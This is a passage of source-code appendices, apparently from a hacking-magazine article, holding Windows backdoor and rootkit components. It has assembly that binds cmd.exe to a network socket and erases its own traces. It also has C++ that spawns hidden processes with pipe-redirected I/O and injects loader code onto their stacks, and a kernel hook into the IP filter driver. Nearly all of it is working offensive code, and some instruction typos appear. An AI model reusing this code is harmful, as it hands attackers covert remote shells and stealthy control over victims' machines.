call         _listen,sock,1
or            eax, eax
jnz            quit

ShellCycle:

mov         sizeofaddr,SIZE sockaddr_in
lea         eax,sizeofaddr
push         eax
lea         eax, addr
push         eax
push         sock
call         _accept
mov          sock2, eax

RunCmd:

;int         3

;Zero StartInf
cld
lea         edi,StartInf
xor         eax,eax
mov         ecx,SIZE STARTUPINFO
rep         stosb
;Fill StartInf. Shell will be bound to socket
mov         StartInf.dwFlags,STARTF_USESTDHANDLES; OR STARTF_USESHOWWINDOW
mov         eax, sock2
mov         StartInf.hStdOutput,eax
mov         StartInf.hStdError,eax
mov         StartInf.hStdInput,eax
mov         StartInf.cb,SIZE STARTUPINFO

;Start shell
xor         ebx,ebx
lea         eax,ProcInf
push         eax
lea         eax,StartInf
push         eax
push         ebx
push         ebx
push         CREATE_NO_WINDOW
push         1
push         ebx
push         ebx
laa         eax,CmdLine
push         eax
push         ebx
call         _CreateProcessA

;To avoid hanging sessions
call          _closesocket,sock2

IFDEF MULTIPLE_CONNECT
jmp         ShellCycle
ENDIF

quit:
call         _closesocket,sock
call         _WSACleanup
;Sweep traces: free memory with that code and terminate thread
;Code must not free stack because ExitThread address is there
;It may wipe (zero out) stack in future versions
push         MEM_RELEASE
xor         ebx,ebx
push         ebx
push        OFFSET Start
push        ebx
push        _ExitThread
jmp        _VirtualFree
main endp

; ------ ROUTINES ------

; returns NULL in the case of an error
GetDllBaseAndLoadFunctions proc uses edi esi, dwSearchStartAddr:DWORD, FuncNamesTable:DWO
RD, FuncPtrsTable:DWORD
;-----------------------------------------------
local SEH:sSEH, FuncNameEnd:DWORD,dwDllBase:DWORD,PEHeader:DWORD
 ; install SEH frame
 laaa        eax, KernelSearchSehHandler
 push        eax
 push fs:dword ptr[0]
 mov  SEH.OrgEsp, esp
 laaa        eax, ExceptCont
 mov  SEH.SaveEip, eax
 mov  fs:dword ptr[0], esp

 ; start the search
 mov  edi, dwSearchStartAddr
 .while TRUE
    .if word ptr [edi] == IMAGE_DOS_SIGNATURE
       mov  esi, edi
       add  esi, [esi+03Ch]
       .if  dword ptr [esi] == IMAGE_NT_SIGNATURE
          .break
       .endif
    .endif
           ExceptCont:
    sub  edi, 010000h
 .endw
 mov        dwDllBase,edi
 mov        PEHeader,esi

LoadFunctions:
 ; get the string length of the target Api
 mov  edi, FuncNamesTable
 mov  ecx, MAX_API_STRING_LENGTH
 xor  al, al
 repnz  scasb
 mov        FuncNameEnd,edi
 mov  ecx, edi
 sub  ecx, FuncNamesTable       ; ECX -> Api string length

 ; trace the export table
 mov  edx, [esi+078h]      ; EDX -> Export table
 add  edx, dwDllBase
 assume edx:ptr IMAGE_EXPORT_DIRECTORY
 mov  ebx, [edx].AddressOfNames     ; EBX -> AddressOfNames array pointer
 add  ebx, dwDllBase
 xor  eax, eax       ; eax AddressOfNames Index
 .repeat
    mov  edi, [ebx]
    add  edi, dwDllBase
    mov  esi, FuncNamesTable
    push ecx    ; save the api string length
    repz cmpsb
    .if zero?
       add  esp, 4
       .break
    .endif
    pop  ecx
    add  ebx, 4
    inc  eax
 .until eax == [edx].NumberOfNames
 ; did we found sth ?
 .if eax == [edx].NumberOfNames
    jmp ExceptContinue
 .endif

 ; find the corresponding Ordinal
 mov  esi, [edx].AddressOfNameOrdinals
 add  esi, dwDllBase
 shl  eax, 1
 add  eax, esi
 movzx        eax,word ptr [eax]

 ; get the address of the api
 mov  edi, [edx].AddressOfFunctions
 shl  eax, 2
 add  eax, dwDllBase
 add  eax, edi
 mov  eax, [eax]
 add  eax, dwDllBase

 mov        ecx,FuncNameEnd
 mov        FuncNamesTable,ecx
 mov        ebx,FuncPtrsTable
 mov        DWORD PTR [ebx],eax
 mov        esi,PEHeader
 cmp        BYTE PTR [ecx],0
 jnz          LoadFunctions

Quit:
 ; shutdown seh frame
 pop  fs:dword ptr[0]
 add  esp, 4
 ret
 ExceptContinue:
 mov         edi, dwDllBase
 jmp ExceptCont
GetDllBaseAndLoadFunctions endp

KernelSearchSehHandler PROC C pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD
 mov  eax, pContext
 assume eax:ptr CONTEXT
 sub  dword ptr [eax].cx_Edi,010000h
 mov  eax, 0        ;ExceptionContinueExecution
 ret
KernelSearchSehHandler ENDP

KERNEL32StringTable:
szCreateThread          db "CreateThread",0
szGetThreadContext        db "GetThreadContext",0
szSetThreadContext         db "SetThreadContext",0
szExitThread                db "ExitThread",0
szLoadLibrary           db "LoadLibraryA",0
szCreateProcessA        db "CreateProcessA",0
szSleep                       db "Sleep",0
szVirtualFree                 db "VirtualFree",0
db                          0

szWSOCK32                db "WS2_32.DLL",0
WS2_32StringTable:
szsocket                db "WSASocketA",0
szbind                        db "bind",0
szlisten                db "listen",0
szaccept                db "accept",0
szWSAStartup                db "WSAStartup",0
szclosesocket                 db "closesocket",0
szWSACleanup                db "WSACleanup",0
db                          0

NTDLLStringTable:
szZwOpenThread                db "ZwOpenThread",0
```

```
szZwAlertThread                 db "ZwAlertThread",0
db                         0

CmdLine                         db        "cmd.exe",0

ALIGN        4
CLID_here                 CLIENT_ID <0>

;----------------------------------------------

EndFile:

end Start


----[ 8.4 - NebbetCreateProcess.cpp

#include <ntdll.h>
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"
extern "C" {
#include "SECSYS.H"
}

namespace NT {

typedef struct _CSRSS_MESSAGE{
        ULONG        Unknwon1;
        ULONG        Opcode;
        ULONG        Status;
        ULONG        Unknwon2;
}CSRSS_MESSAGE,*PCSRSS_MESSAGE;

}

DYNAMIC_LOAD1(CsrClientCallServer)
DYNAMIC_LOAD1(RtlDestroyProcessParameters)
DYNAMIC_LOAD1(ZwWriteVirtualMemory)
DYNAMIC_LOAD1(ZwResumeThread)
DYNAMIC_LOAD1(ZwCreateThread)
DYNAMIC_LOAD1(ZwProtectVirtualMemory)
DYNAMIC_LOAD1(ZwCreateProcess)
DYNAMIC_LOAD1(ZwRequestWaitReplyPort)
DYNAMIC_LOAD1(ZwReadVirtualMemory)
DYNAMIC_LOAD1(ZwCreateNamedPipeFile)
DYNAMIC_LOAD1(LdrGetDllHandle)

//Dynamic import of functions exported from ntdll.dll
extern "C" void LoadFuncs()
{
        static PVOID pNTDLL;
        if (!pNTDLL)
        {
                pNTDLL=FindNT();
                DYNAMIC_LOAD2(CsrClientCallServer)
                DYNAMIC_LOAD2(RtlDestroyProcessParameters)
                DYNAMIC_LOAD2(ZwWriteVirtualMemory)
                DYNAMIC_LOAD2(ZwResumeThread)
                DYNAMIC_LOAD2(ZwCreateThread)
                DYNAMIC_LOAD2(ZwProtectVirtualMemory)
                DYNAMIC_LOAD2(ZwCreateProcess)
                DYNAMIC_LOAD2(ZwRequestWaitReplyPort)
                DYNAMIC_LOAD2(ZwReadVirtualMemory)
                DYNAMIC_LOAD2(ZwCreateNamedPipeFile)
                DYNAMIC_LOAD2(LdrGetDllHandle)
        }
}

//Informs CSRSS about new win32-process
VOID InformCsrss(HANDLE hProcess, HANDLE hThread, ULONG pid, ULONG tid)
```

```
{
//        _asm int 3;
    struct CSRSS_MESSAGE {
        ULONG Unknown1;
        ULONG Opcode;
        ULONG Status;
        ULONG Unknown2;
    };

    struct {
                NT::PORT_MESSAGE PortMessage;
        CSRSS_MESSAGE CsrssMessage;
        PROCESS_INFORMATION ProcessInformation;
        NT::CLIENT_ID Debugger;
        ULONG CreationFlags;
        ULONG VdmInfo[2];
    } csrmsg = {{0}, {0}, {hProcess, hThread, pid, tid}, {0}, 0/*STARTF_USESTDHANDLES | S
TARTF_USESHOWWINDOW*/, {0}};

    CsrClientCallServer(&csrmsg, 0, 0x10000, 0x24);
}

//Initialse empty environment
PWSTR InitEnvironment(HANDLE hProcess)
{
    PVOID p=0;
    DWORD dummy=0;
        DWORD n=sizeof(dummy);
        DWORD m;
        m=n;
        NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &m,
                                MEM_COMMIT, PAGE_READWRITE);
    ZwWriteVirtualMemory(hProcess, p, &dummy, n, 0);
    return PWSTR(p);
}

// Clone of Ntdll::RtlCreateProcessParameters...
VOID RtlCreateProcessParameters(NT::PPROCESS_PARAMETERS* pp,
                                                                NT::PUNICODE_STRING
  ImageFile,
                                                                NT::PUNICODE_STRING
  DllPath,
                                                                NT::PUNICODE_STRING
  CurrentDirectory,
                                                                NT::PUNICODE_STRING
  CommandLine,
                                                                ULONG        CreationFlag
,
                                                                NT::PUNICODE_STRING
  WindowTitle,
                                                                NT::PUNICODE_STRING
  Desktop,
                                                                NT::PUNICODE_STRING
  Reserved,
                                                                NT::PUNICODE_STRING
  Reserved2){

        NT::PROCESS_PARAMETERS*        lpp;

        ULONG        Size=sizeof(NT::PROCESS_PARAMETERS);
        if(ImageFile) Size+=ImageFile->MaximumLength;
        if(DllPath) Size+=DllPath->MaximumLength;
        if(CurrentDirectory) Size+=CurrentDirectory->MaximumLength;
        if(CommandLine) Size+=CommandLine->MaximumLength;
        if(WindowTitle) Size+=WindowTitle->MaximumLength;
        if(Desktop) Size+=Desktop->MaximumLength;
        if(Reserved) Size+=Reserved->MaximumLength;
        if(Reserved2) Size+=Reserved2->MaximumLength;

        //Allocate the buffer..
        *pp=(NT::PPROCESS_PARAMETERS)NT::ExAllocatePool(NT::NonPagedPool,Size);
        lpp=*pp;
        RtlZeroMemory(lpp,Size);

        lpp->AllocationSize=PAGE_SIZE;
        lpp->Size=sizeof(NT::PROCESS_PARAMETERS); // Unicode size will be added (if any)
        lpp->hStdInput=0;
        lpp->hStdOutput=0;
        lpp->hStdError=0;
        if(CurrentDirectory){
                lpp->CurrentDirectoryName.Length=CurrentDirectory->Length;
                lpp->CurrentDirectoryName.MaximumLength=CurrentDirectory->MaximumLength;
                RtlCopyMemory((PCHAR)(lpp)+lpp->Size,CurrentDirectory->Buffer,CurrentDire
ctory->Length);
                lpp->CurrentDirectoryName.Buffer=(PWCHAR)lpp->Size;
                lpp->Size+=CurrentDirectory->MaximumLength;
        }
        if(DllPath){
                lpp->DllPath.Length=DllPath->Length;
                lpp->DllPath.MaximumLength=DllPath->MaximumLength;
                RtlCopyMemory((PCHAR)(lpp)+lpp->Size,DllPath->Buffer,DllPath->Length);
                lpp->DllPath.Buffer=(PWCHAR)lpp->Size;
                lpp->Size+=DllPath->MaximumLength;
        }
        if(ImageFile){
                lpp->ImageFile.Length=ImageFile->Length;
                lpp->ImageFile.MaximumLength=ImageFile->MaximumLength;
                RtlCopyMemory((PCHAR)(lpp)+lpp->Size,ImageFile->Buffer,ImageFile->Length)
;
                lpp->ImageFile.Buffer=(PWCHAR)lpp->Size;
                lpp->Size+=ImageFile->MaximumLength;
        }
        if(CommandLine){
                lpp->CommandLine.Length=CommandLine->Length;
                lpp->CommandLine.MaximumLength=CommandLine->MaximumLength;
                RtlCopyMemory((PCHAR)(lpp)+lpp->Size,CommandLine->Buffer,CommandLine->Len
gth);
                lpp->CommandLine.Buffer=(PWCHAR)lpp->Size;
                lpp->Size+=CommandLine->MaximumLength;
        }
        if(WindowTitle){
                lpp->WindowTitle.Length=WindowTitle->Length;
                lpp->WindowTitle.MaximumLength=WindowTitle->MaximumLength;
                RtlCopyMemory((PCHAR)(lpp)+lpp->Size,WindowTitle->Buffer,WindowTitle->Len
gth);
                lpp->WindowTitle.Buffer=(PWCHAR)lpp->Size;
                lpp->Size+=WindowTitle->MaximumLength;
        }
        if(Desktop){
                lpp->Desktop.Length=Desktop->Length;
                lpp->Desktop.MaximumLength=Desktop->MaximumLength;
                RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Desktop->Buffer,Desktop->Length);
                lpp->Desktop.Buffer=(PWCHAR)lpp->Size;
                lpp->Size+=Desktop->MaximumLength;
        }
        if(Reserved){
                lpp->Reserved2.Length=Reserved->Length;
                lpp->Reserved2.MaximumLength=Reserved->MaximumLength;
                RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Reserved->Buffer,Reserved->Length);
                lpp->Reserved2.Buffer=(PWCHAR)lpp->Size;
                lpp->Size+=Reserved->MaximumLength;
        }
/*        if(Reserved2){
                lpp->Reserved3.Length=Reserved2->Length;
                lpp->Reserved3.MaximumLength=Reserved2->MaximumLength;
                RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Reserved2->Buffer,Reserved2->Length)
;
                lpp->Reserved3.Buffer=(PWCHAR)lpp->Size;
                lpp->Size+=Reserved2->MaximumLength;
        }*/
```

```
}

VOID CreateProcessParameters(HANDLE hProcess, NT::PPEB Peb,
                             NT::PUNICODE_STRING ImageFile, HANDLE hPipe)
{
    NT::PPROCESS_PARAMETERS pp;
        NT::UNICODE_STRING               CurrentDirectory;

        NT::UNICODE_STRING               DllPath;

        NT::RtlInitUnicodeString(&CurrentDirectory,L"C:\\WINNT\\SYSTEM32\\");
        NT::RtlInitUnicodeString(&DllPath,L"C:\\;C:\\WINNT\\;C:\\WINNT\\SYSTEM32\\");



    RtlCreateProcessParameters(&pp, ImageFile, &DllPath,&CurrentDirectory, ImageFile, 0,
0, 0, 0, 0);

        pp->hStdInput=hPipe;
    pp->hStdOutput=hPipe;//hStdOutPipe;
    pp->hStdError=hPipe;//hStdOutPipe;
        pp->dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
        pp->wShowWindow=SW_HIDE;//CREATE_NO_WINDOW;

    pp->Environment = InitEnvironment(hProcess);

    ULONG n = pp->Size;
    PVOID p = 0;
    NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
                                MEM_COMMIT, PAGE_READWRITE);

    ZwWriteVirtualMemory(hProcess, p, pp, pp->Size, 0);

    ZwWriteVirtualMemory(hProcess, PCHAR(Peb) + 0x10, &p, sizeof p, 0);

    RtlDestroyProcessParameters(pp);
}

namespace NT {
extern "C" {
DWORD WINAPI RtlCreateAcl(PACL acl,DWORD size,DWORD rev);
BOOL      WINAPI RtlAddAccessAllowedAce(PACL,DWORD,DWORD,PSID);
}}

NTSTATUS BuildAlowingSD(PSECURITY_DESCRIPTOR *pSecurityDescriptor)
{
        //_asm int 3;
        SID SeWorldSid={SID_REVISION, 1, SECURITY_WORLD_SID_AUTHORITY, SECURITY_WORLD_RID
};
        SID localSid={SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_LOCAL_SYSTEM_RID};
        char daclbuf[PAGE_SIZE];
        NT::PACL dacl = (NT::PACL)&daclbuf;
        char sdbuf[PAGE_SIZE];
        NT::PSECURITY_DESCRIPTOR sd = &sdbuf;

        NTSTATUS status = NT::RtlCreateAcl(dacl, PAGE_SIZE, ACL_REVISION);
    if (!NT_SUCCESS(status)) return status;
    status = NT::RtlAddAccessAllowedAce(dacl, ACL_REVISION, FILE_ALL_ACCESS, &SeWorldSid)
;
    if (!NT_SUCCESS(status)) return status;
    RtlZeroMemory(sd, PAGE_SIZE);
    status = NT::RtlCreateSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION);
    if (!NT_SUCCESS(status)) return status;
    status = RtlSetOwnerSecurityDescriptor(sd, &localSid, FALSE);
    if (!NT_SUCCESS(status)) return status;
    status = NT::RtlSetDaclSecurityDescriptor(sd, TRUE, dacl, FALSE);
    if (!NT_SUCCESS(status)) return status;
    if (!NT::RtlValidSecurityDescriptor(sd)) {
        _asm int 3;
    }
```

```
        //To try!
        ULONG buflen = PAGE_SIZE*2;
        *pSecurityDescriptor = NT::ExAllocatePool(NT::PagedPool, buflen);
    if (!*pSecurityDescriptor) return STATUS_INSUFFICIENT_RESOURCES;
        return RtlAbsoluteToSelfRelativeSD(sd, *pSecurityDescriptor, &buflen);
}

#define PIPE_NAME_MAX 40*2

extern "C" NTSTATUS myCreatePipe1(PHANDLE phPipe, NT::PUNICODE_STRING PipeName, IN ACCESS
_MASK DesiredAccess, PSECURITY_DESCRIPTOR sd, ULONG ShareAccess)
{
        NT::IO_STATUS_BLOCK                iosb;

        NT::OBJECT_ATTRIBUTES attr = {sizeof attr, 0, PipeName, OBJ_INHERIT, sd};
        NT::LARGE_INTEGER nTimeOut;
        nTimeOut.QuadPart = (__int64)-1E7;
        return ZwCreateNamedPipeFile(phPipe, DesiredAccess | SYNCHRONIZE | FILE_ATTRIBUTE
_TEMPORARY, &attr, &iosb, ShareAccess,
                FILE_CREATE, 0, FALSE, FALSE, FALSE, 1, 0x1000, 0x1000, &nTimeOut);

}

int exec_piped(NT::PUNICODE_STRING name, NT::PUNICODE_STRING PipeName)
{
    HANDLE hProcess, hThread, hSection, hFile;

        //_asm int 3;

    NT::OBJECT_ATTRIBUTES oa = {sizeof oa, 0, name, OBJ_CASE_INSENSITIVE};
    NT::IO_STATUS_BLOCK iosb;
    NT::ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb,
                   FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);

    oa.ObjectName = 0;

    NT::ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,
                        PAGE_EXECUTE, SEC_IMAGE, hFile);

    NT::ZwClose(hFile);

        ZwCreateProcess(&hProcess, PROCESS_ALL_ACCESS, &oa,
                        NtCurrentProcess(), TRUE, hSection, 0, 0);

    NT::SECTION_IMAGE_INFORMATION sii;
    NT::ZwQuerySection(hSection, NT::SectionImageInformation,
                       &sii, sizeof sii, 0);

    NT::ZwClose(hSection);

    NT::USER_STACK stack = {0};

    ULONG n = sii.StackReserve;
    NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n,
                                MEM_RESERVE, PAGE_READWRITE);

    stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom)
                              + sii.StackReserve;
    stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase)
                               - sii.StackCommit;

        /* PAGE_EXECUTE_READWRITE is needed if initialisation code will be executed on st
ack*/
        n = sii.StackCommit + PAGE_SIZE;
    PVOID p = PCHAR(stack.ExpandableStackBase) - n;
    NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
                                MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    ULONG x; n = PAGE_SIZE;
    ZwProtectVirtualMemory(hProcess, &p, &n,
                           PAGE_READWRITE | PAGE_GUARD, &x);

    NT::CONTEXT context = {CONTEXT_FULL};
    context.SegGs = 0;
    context.SegFs = 0x38;
    context.SegEs = 0x20;
    context.SegDs = 0x20;
    context.SegSs = 0x20;
    context.SegCs = 0x18;
    context.EFlags = 0x3000;
    context.Esp = ULONG(stack.ExpandableStackBase) - 4;
    context.Eip = ULONG(sii.EntryPoint);

    NT::CLIENT_ID cid;

    ZwCreateThread(&hThread, THREAD_ALL_ACCESS, &oa,
                   hProcess, &cid, &context, &stack, TRUE);

    NT::PROCESS_BASIC_INFORMATION pbi;
    NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation,
                                  &pbi, sizeof pbi, 0);

        HANDLE hPipe,hPipe1;
        oa.ObjectName = PipeName;
        oa.Attributes = OBJ_INHERIT;
        if(NT::ZwOpenFile(&hPipe1, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &oa, &iosb
, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_F
ILE)) return 0;
        NT::ZwDuplicateObject(NtCurrentProcess(), hPipe1, hProcess, &hPipe,
                0, 0, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);

        CreateProcessParameters(hProcess, pbi.PebBaseAddress, name, hPipe);

    InformCsrss(hProcess, hThread,
                ULONG(cid.UniqueProcess), ULONG(cid.UniqueThread));

    ZwResumeThread(hThread, 0);

    NT::ZwClose(hProcess);
    NT::ZwClose(hThread);

    return int(cid.UniqueProcess);
}

int execute_piped(VOID *ImageFileName, NT::PUNICODE_STRING PipeName)
{
    NT::UNICODE_STRING ImageFile;
    NT::RtlInitUnicodeString(&ImageFile, (wchar_t *)ImageFileName);
    return exec_piped(&ImageFile, PipeName);
}


----[ 8.5 - NebbetCreateProcess.diff

268a269,384
> typedef
> WINBASEAPI
> BOOL
> (WINAPI
> *f_SetStdHandle)(
>     IN DWORD nStdHandle,
>     IN HANDLE hHandle
>     );
> typedef
> WINBASEAPI
> HANDLE
> (WINAPI
> *f_CreateFileW)(
>     IN LPCWSTR lpFileName,
>     IN DWORD dwDesiredAccess,
>     IN DWORD dwShareMode,
>     IN LPSECURITY_ATTRIBUTES lpSecurityAttributes,
>     IN DWORD dwCreationDisposition,
>     IN DWORD dwFlagsAndAttributes,
>     IN HANDLE hTemplateFile
>     );
> #ifdef _DEBUG
> typedef
> WINBASEAPI
> DWORD
> (WINAPI
> *f_GetLastError)(
>     VOID
>     );
> #endif
> typedef VOID (*f_EntryPoint)(VOID);
>
> struct s_data2embed
> {
>         wchar_t PipeName[PIPE_NAME_MAX];
>         //wchar_t RPipeName[PIPE_NAME_MAX], WPipeName[PIPE_NAME_MAX];
>         f_SetStdHandle pSetStdHandle;
>         f_CreateFileW pCreateFileW;
>         f_EntryPoint EntryPoint;
> #ifdef _DEBUG
>         f_GetLastError pGetLastError;
> #endif
> };
>
> //void before_code2embed(){};
> void code2embed(s_data2embed *embedded_data)
> {
>         HANDLE hPipe;
>
>         __asm int 3;
>         hPipe = embedded_data->pCreateFileW(embedded_data->PipeName,
>                 GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE,
>                 0/*FILE_SHARE_READ | FILE_SHARE_WRITE*/,
>                 NULL,
>                 OPEN_EXISTING,
>                 0/*FILE_ATTRIBUTE_NORMAL*/,
>                 NULL);
>         embedded_data->pGetLastError();
>         /*//if (hRPipe==INVALID_HANDLE_VALUE) goto cont;
>         hWPipe = embedded_data->pCreateFileW(embedded_data->WPipeName,
>                 GENERIC_WRITE | SYNCHRONIZE,
>                 FILE_SHARE_READ /*| FILE_SHARE_WRITE*,
>                 NULL,
>                 OPEN_EXISTING,
>                 0,
>                 NULL);
>         embedded_data->pGetLastError();
>         if ((hRPipe!=INVALID_HANDLE_VALUE)&&(hWPipe!=INVALID_HANDLE_VALUE)) */
>         if (hPipe!=INVALID_HANDLE_VALUE)
>         {
>                 embedded_data->pSetStdHandle(STD_INPUT_HANDLE, hPipe);
>                 embedded_data->pSetStdHandle(STD_OUTPUT_HANDLE, hPipe);
>                 embedded_data->pSetStdHandle(STD_ERROR_HANDLE, hPipe);
>         }
>         embedded_data->EntryPoint();
> }
> __declspec(naked) void after_code2embed(){};
> #define sizeof_code2embed ((ULONG)&after_code2embed-(ULONG)&code2embed)
>
> void redir2pipe(HANDLE hProcess, wchar_t *PipeName/*, wchar_t *WPipeName*/, PVOID Entry
Point, PVOID pStack, /*OUT PULONG pData,*/ OUT PULONG pCode, OUT PULONG pNewStack)
> {
>         s_data2embed data2embed;
>         PVOID pKERNEL32;
>         NT::UNICODE_STRING ModuleFileName;
>
>         _asm int 3;
>
>         *pCode = 0;
>         *pNewStack = 0;
>         NT::RtlInitUnicodeString(&ModuleFileName, L"kernel32.dll");
>         LdrGetDllHandle(NULL, NULL, &ModuleFileName, &pKERNEL32);
>         if (!pKERNEL32) return;
>         data2embed.pSetStdHandle=(f_SetStdHandle)FindFunc(pKERNEL32, "SetStdHandle");
>         data2embed.pCreateFileW=(f_CreateFileW)FindFunc(pKERNEL32, "CreateFileW");
> #ifdef _DEBUG
>         data2embed.pGetLastError=(f_GetLastError)FindFunc(pKERNEL32, "GetLastError");
> #endif
>         if ((!data2embed.pSetStdHandle)||(!data2embed.pCreateFileW)) return;
>         data2embed.EntryPoint=(f_EntryPoint)EntryPoint;
>         wcscpy(data2embed.PipeName, PipeName);
>         //wcscpy(data2embed.WPipeName, WPipeName);
>         char* p = (char*)pStack - sizeof_code2embed;
>         if (ZwWriteVirtualMemory(hProcess, p, &code2embed, sizeof_code2embed, 0)) retur
n;
>         *pCode = (ULONG)p;
>
>         p -= sizeof s_data2embed;
>         if (ZwWriteVirtualMemory(hProcess, p, &data2embed, sizeof s_data2embed, 0)) ret
urn;
>
>         PVOID pData = (PVOID)p;
>         p -= sizeof pData;
>         if (ZwWriteVirtualMemory(hProcess, p, &pData, sizeof pData, 0)) return;
>
>         p -= 4;
>         *pNewStack = (ULONG)p;
> }
>
317a434,437
>         ULONG newEIP, NewStack;
>         redir2pipe(hProcess, PipeName->Buffer, sii.EntryPoint, stack.ExpandableStackBas
e, &newEIP, &NewStack);
>         if ((!NewStack)||(!newEIP)) return 0;
>
326,327c446,449
<     context.Esp = ULONG(stack.ExpandableStackBase) - 4;
<     context.Eip = ULONG(sii.EntryPoint);
---
>         //loader code is on the stack
>         context.Esp = NewStack;
>     context.Eip = newEIP;


----[ 8.6 - NtdllDynamicLoader.cpp

#include <ntdll.h>
//#include "UndocKernel.h"
#include "DynLoadFromNtdll.h"

//Example A.2 from Nebbet's book

//Search loaded module by name
PVOID FindModule(char *module)
{
        ULONG n;
        //Request necessary size of buffer
        NT::ZwQuerySystemInformation(NT::SystemModuleInformation,
                                &n, 0, &n);
        //Allocate memory for n structures
    PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q));
        //Request information about modules
    NT::ZwQuerySystemInformation(NT::SystemModuleInformation,
                                q, n * sizeof *q, 0);
        //Module counter located at address q, information begins at q+1
    NT::PSYSTEM_MODULE_INFORMATION p
        = NT::PSYSTEM_MODULE_INFORMATION(q + 1);
    PVOID ntdll = 0;

        //Cycle for each module ...
        for (ULONG i = 0; i < *q; i++)
        {
                //...compare it’s name with looked for...
                if (_stricmp(p[i].ImageName + p[i].ModuleNameOffset,
                     module) == 0)
                {
                        //...and stop if module found
                        ntdll = p[i].Base;
                        break;
                }
        }
        //Free memory
    NT::ExFreePool(q);
    return ntdll;
}

PVOID FindNT()
{
    return FindModule("ntdll.dll");
}

//Search exported function named Name in module, loaded at addrress Base
PVOID FindFunc(PVOID Base, PCSTR Name)
{
        //At addrress Base there is DOS EXE header
        PIMAGE_DOS_HEADER dos = PIMAGE_DOS_HEADER(Base);
        //Extract offset of PE-header from it
    PIMAGE_NT_HEADERS nt = PIMAGE_NT_HEADERS(PCHAR(Base) + dos->e_lfanew);
        //Evaluate pointer to section table,
        //according to directory of exported functions
    PIMAGE_DATA_DIRECTORY expdir
        = nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
        //Extract address and size of that table
    ULONG size = expdir->Size;
    ULONG addr = expdir->VirtualAddress;

        //Evaluate pointers:
        // - to directory of exported functions
    PIMAGE_EXPORT_DIRECTORY exports
        = PIMAGE_EXPORT_DIRECTORY(PCHAR(Base) + addr);
        // - to table of addresses
    PULONG functions = PULONG(PCHAR(Base) + exports->AddressOfFunctions);
        // - to table of ordinals
    PSHORT ordinals  = PSHORT(PCHAR(Base) + exports->AddressOfNameOrdinals);
        // - to table of names
    PULONG names     = PULONG(PCHAR(Base) + exports->AddressOfNames);

    //Cycle through table of names ...
        for (ULONG i = 0; i < exports->NumberOfNames; i++) {
                //Ordinal that matches name is index in the table of addresses
        ULONG ord = ordinals[i];
                //Test is the address correct
        if (functions[ord] < addr || functions[ord] >= addr + size) {
                        //If function name matches looked for...
            if (strcmp(PSTR(PCHAR(Base) + names[i]), Name) == 0)
                                //then return it’s address
                return PCHAR(Base) + functions[ord];
        }
    }
        //Function not found
    return 0;
}
```

```
----[ 8.7 - Filtering.cpp

extern "C" {
#include <ntddk.h>
#include <ntddndis.h>
#include <pfhook.h>
#include "filtering.h"
#include "Sniffer.h"

NTSYSAPI
NTSTATUS
NTAPI
ZwLoadDriver(
    IN PUNICODE_STRING DriverServiceName
    );
}


extern PF_FORWARD_ACTION PacketFilter(
  IN IPHeader *PacketHeader,
  IN unsigned char *Packet,
  IN unsigned int PacketLength,
  IN unsigned int RecvInterfaceIndex,
  IN unsigned int SendInterfaceIndex,
  IN IPAddr RecvLinkNextHop,
  IN IPAddr SendLinkNextHop
  );

NTSTATUS globalresult;
PDEVICE_OBJECT  pDeviceObject;
PFILE_OBJECT  pFileObject;
KEVENT Event;

NTSTATUS SutdownFiltering()
{
        if ((pDeviceObject)&&(pFileObject))
        {
                globalresult=SetupFiltering(NULL);
                ObDereferenceObject(pFileObject);
                return globalresult;
        }
        else return STATUS_SUCCESS;
}


NTSTATUS InitFiltering()
{
        UNICODE_STRING FiltDrvName;
        UNICODE_STRING DSN={0};
        //_asm int 3;
        RtlInitUnicodeString(&FiltDrvName,L"\\Device\\IPFILTERDRIVER");
        pDeviceObject=NULL;
retry:
        IoGetDeviceObjectPointer(&FiltDrvName,SYNCHRONIZE|GENERIC_READ|GENERIC_WRITE,&pFi
leObject,&pDeviceObject);
        if ((!pDeviceObject)&&(!DSN.Length))
        {
                RtlInitUnicodeString(&DSN,L"\\Registry\\Machine\\System\\CurrentControlSe
t\\Services\\IpFilterDriver");
                ZwLoadDriver(&DSN);
                goto retry;
        }
        if (pDeviceObject)
        {
                KeInitializeEvent(&Event,NotificationEvent,FALSE);
                return SetupFiltering(&PacketFilter);
        } else return STATUS_OBJECT_NAME_NOT_FOUND;
}
```

```
NTSTATUS SetupFiltering(void *PacketFilterProc)
{
        IO_STATUS_BLOCK iostb;
        LARGE_INTEGER Timeout;
        PIRP pirp = NULL;
        //_asm int 3;
        pirp = IoBuildDeviceIoControlRequest(IOCTL_PF_SET_EXTENSION_POINTER,pDeviceObject
,(PPF_SET_EXTENSION_HOOK_INFO)&PacketFilterProc,sizeof(PF_SET_EXTENSION_HOOK_INFO),NULL,0
,FALSE,&Event,&iostb);
        if (!pirp)
        {
                return STATUS_UNSUCCESSFUL;
        }
        globalresult=IoCallDriver(pDeviceObject,pirp);
        if (globalresult == STATUS_PENDING)
        {
                Timeout.QuadPart=100000000;
